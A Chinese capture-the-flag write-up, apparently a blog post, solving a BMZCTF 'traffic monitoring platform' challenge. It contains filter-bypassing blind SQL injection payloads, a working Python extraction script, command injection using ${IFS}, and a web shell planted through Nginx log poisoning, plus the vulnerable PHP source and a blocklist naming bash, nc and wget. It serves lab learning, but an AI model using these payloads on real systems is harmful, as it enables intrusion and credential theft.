BZMCTF:流量监控平台

http://www.bmzclub.cn/challenges#%E6%B5%81%E9%87%8F%E7%9B%91%E6%8E%A7%E5%B9%B3%E5%8F%B0

在这里插入图片描述
在这里插入图片描述
通过枚举可知存在admin用户,当uname=admin时,发现提示密码错误,当uname!=admin时提示用户名错误。
在这里插入图片描述

在这里插入图片描述
另外存在过滤SQL关键字符
在这里插入图片描述
简单fuzz一下过滤了哪些字符
在这里插入图片描述
首先注释无法使用,可以通过构造字符闭合来绕过
在这里插入图片描述
空格及内联注释也无法使用,可以利用()绕过
在这里插入图片描述
andor&|都被过滤,可以使用同或,虽然mysql只支持notandorxor四种运算符。但是同或的运算逻辑也是可以在mysql中可以用符号!=!表示的。同或的运算逻辑与异或相反

and/&&的逻辑:
1 and 1 == 1
1 and 0 == 0
0 and 1 == 0
0 and 0 == 0

or/||的逻辑:
1 or 1 == 1
1 or 0 == 1
0 or 1 == 1
0 or 0 == 0

同或!=!的逻辑:
1 !=! 1 == 1
1 !=! 0 == 0
0 !=! 1 == 0
0 !=! 0 == 1

异或xor的逻辑:
1 xor 1 == 0
0 xor 1 == 1
1 xor 0 == 1
0 xor 0 == 0

在这里插入图片描述
在这里插入图片描述
这里我们只需要控制中间的表达式值对注入信息的每一位fuzz,进行布尔盲注即可,如下图所示
在这里插入图片描述
当测试注入语句正确时,只返回一条admin的数据,这时候username是正确的,所以返回password错误。当注入测试语句时错误的,则返回username错误,以此作为判断依据。

但是从fuzz的黑名单中已知了,逗号,是被过滤得。得尝试不适用逗号也能截位。
经查阅资料,发现可以使用from x for y的方法来绕过逗号,
在这里插入图片描述
但是有问题的是这里的for也含有or,此类含有or字符的SQL关键字还有information

当mysql版本大于5.6information的绕过就是利用innodb引擎下自带的两张信息表:innodb_index_statsinnodb_table_stats

from x for y没有for一样可以截位,只不过不能一位一位截取罢了
在这里插入图片描述
综上所述即可构造
在这里插入图片描述

uname=admin'!=!(ascii(mid(user()from(-1)))=116)!=!'1&passwd=mochu7

在这里插入图片描述
user()最后一位的ascii码改为不正确时,返回username error
在这里插入图片描述
可以猜测一下user()是不是root@localhost,不过这样就不能用ascii()了,可以用hex()。后面脚本也都是用hex()

uname=admin'!=!(hex(mid(user()from(-14)))='726F6F74406C6F63616C686F7374')!=!'1&passwd=mochu7

在这里插入图片描述
接下来使用Python开始编写盲注脚本

import requests
import string
from binascii import *

allstr = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~'

burp0_url = "http://www.bmzclub.cn:20351/login.php"
burp0_cookies = {"PHPSESSID": "l9tsv3e1umnp0lk9dahkee5l41", "session": "6bc4a005-f112-45e7-a15d-8b323e5b879d"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://www.bmzclub.cn:20351", "Connection": "close", "Referer": "http://www.bmzclub.cn:20351/", "Upgrade-Insecure-Requests": "1"}

hexdata = ''

for l in range(1,50):
    for s in allstr:
        s = hexlify(bytes(s.encode())).decode().upper()
        payload = "admin'!=!(hex(mid(user()from(-{})))='{}')!=!'1".format(l,s+hexdata)
        burp0_data = {"uname": payload, "passwd": "mochu7"}
        resp = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
        if 'password error!!@_@' in resp.text:
            hexdata = s + hexdata
            print(unhexlify(hexdata).decode())
        else:
            continue

查用户名/当前数据库/版本

payload = "admin'!=!(hex(mid(user()from(-{})))='{}')!=!'1".format(l,s+hexdata)

payload = "admin'!=!(hex(mid(database()from(-{})))='{}')!=!'1".format(l,s+hexdata)

payload = "admin'!=!(hex(mid(version()from(-{})))='{}')!=!'1".format(l,s+hexdata)

注入得到的信息如下:

user():	root@localhost

current_database(): ctf

version(): 10.2.26-MariaDB-log

查ctf库中的表名

payload = "admin'!=!(hex(mid((select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name)='ctf')from(-{})))='{}')!=!'1".format(l,s+hexdata)

查询结果显示当前数据库中只有一张admin

接下来无法通过innodb这两张表查到字段的数据了,因为限制太多,如限制了反引号。不确定能否通过盲注查询出字段数据,这里就不继续查询admin表字段数据了,直接就可以通过POST的参数尝试猜测字段名为unamepasswd

如果这里没有过滤*,那就可以直接select * from ctf.admin;

查字段uname的内容

payload = "admin'!=!((select(hex(mid(group_concat(uname)from(-{})))='{}')from(ctf.admin)))!=!'1".format(l,s+hexdata)

只有一个用户admin

继续查字段passwd的内容

payload = "admin'!=!((select(hex(mid(group_concat(passwd)from(-{})))='{}')from(ctf.admin)))!=!'1".format(l,s+hexdata)

在这里插入图片描述
得到用户admin的密码:e10adc3949ba59abbe56e057f20f883e

应该是md5,拿去cmd5查询一下
在这里插入图片描述
。。。。。。。密码就这???????
上面所有的努力就是一个弱口令登陆的的事情???????

唉,早知道就直接尝试弱口令了。不过没关系。毕竟是CTF,能学到的以前不知道的姿势就行,又不是实战渗透。
实战估计早就吐血了。

得到密码后成功登录
在这里插入图片描述
猜测命令执行,没有回显猜测是exec()执行
在这里插入图片描述
命令执行出错有回显
在这里插入图片描述
测试的时候发现,有过滤
在这里插入图片描述
简单fuzz了下发现过滤了ncbashpythonphpwgetftpsh>以及空格等,命令执行绕过,过滤了这些应该很容易就绕过了吧,姿势网上多的很,这里就不赘述了。

另外经过多次测试后发现这里执行命令对错应该是直接判断exec()的返回值,这样的话显示的命令执行对错就没什么用了,有些正确的命令本身没有输出例如cpmv等。而且有些错误的命令执行会输出报错信息,被exec()作为返回值反而回显命令执行成功。

一开始试了下反弹shell,结果试了很多次没成功,也是迷。干脆就用别的办法了。

第一种方法:利用cp将flag直接复制到web目录下

cp${IFS}/flag${IFS}./flag.html

直接访问/admin/flag.html
在这里插入图片描述
第二种方法:利用burp,将shell写在url后面
在这里插入图片描述
Nginx的服务器,默认日志文件地址/var/log/nginx/access.log或者/var/log/nginx/error.log
利用cp将日志文件复制到web目录,后缀为php

cp${IFS}/var/log/nginx/access.log${IFS}mochu7.ph\p

执行完成后,访问http://www.bmzclub.cn:20351/admin/mochu7.php
在这里插入图片描述
成功拿到shell
在这里插入图片描述
有命令执行,操作空间就很大。还有很多别的方法自己去发掘吧。

最后贴一下源码
login.php

<?php
        header("Content-Type:text/html;charset=utf-8");
        error_reporting(E_ERROR);
        define ('PATH_WEB', dirname(__FILE__).'/');
        require_once(dirname(__FILE__).'/include/conf.php');
        require_once(dirname(__FILE__).'/include/fiter.php');
        #var_dump($_SESSION);
        if($_SESSION['flag'] === 1){
                header("location:./admin/");exit;
        }
        #echo $_POST['uname'].'````'.$_POST['passwd'];

        if($_POST['uname'] && $_POST['passwd']){
                $obj = new fiter();
                $uname = $obj->sql_clean($_POST['uname']);
                $passwd = md5($_POST['passwd']);
                $query="SELECT * FROM admin WHERE uname='".$uname."'";
                $result=mysql_query($query);
                #var_dump($result);
                if ($row = mysql_fetch_array($result)){
                        #print_r($row);echo "\n\r<br/>";
            if ($row['passwd']===$passwd){
                                $_SESSION['flag'] = 1;
                                #echo $_SESSION['flag'];
                                header("location:./admin/");exit();
                        }
            else{
                                echo "<script> alert('password error!!@_@');parent.location.href='index.php'; </script>"; exit();
            }
        }
                else{
                        echo "<script> alert('username error!!@_@');parent.location.href='index.php'; </script>"; exit();
                }

        }
        else {
                echo "<script> alert('username and password must have a value!!@_@');parent.location.href='index.php'; </script>"; exit();
        }
?>

filter.php

<?php
class fiter{
        var $str;
        var $order;

        function sql_clean($str){
                if(is_array($str)){
                        echo "<script> alert('not array!!@_@');parent.location.href='index.php'; </script>";exit;
                }
                $filter = "/ |\*|#|,|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i";

        //由于在mysql中认为 %a0 也是空格,所以这里也需要过滤,
                //在这里做了修改,添加 %a0

                if(preg_match($filter,$str)){
                        echo "<script> alert('illegal character!!@_@');parent.location.href='index.php'; </script>";exit;
                }else if(strrpos($str,urldecode("%00"))){
                        echo "<script> alert('illegal character!!@_@');parent.location.href='index.php'; </script>";exit;
                }
                return $this->str=$str;
        }

        function ord_clean($ord){
                $filter = " |bash|perl|nc|java|php|>|>>|wget|ftp|python|sh";
                if (preg_match("/".$filter."/i",$ord) == 1){
                        return $this->order = "";
                }
                return $this->order = $ord;
        }
?>

admin/index.php

<?php
header("Content-Type:text/html;charset=utf-8");
$o = new fiter();
$a = $o->ord_clean($_POST['ord']);
if($a){
        if(exec($a))echo '命令执行成功!!';
        else echo "命令执行出错!!";
}else echo "想干啥呢~_~!!"
?>
  • 5
    点赞
  • 3
    收藏
  • 打赏
    打赏
  • 6
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

末初mochu7

你的鼓励将是我创作的最大动力

¥2 ¥4 ¥6 ¥10 ¥20
输入1-500的整数
余额支付 (余额:-- )
扫码支付
扫码支付:¥2
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值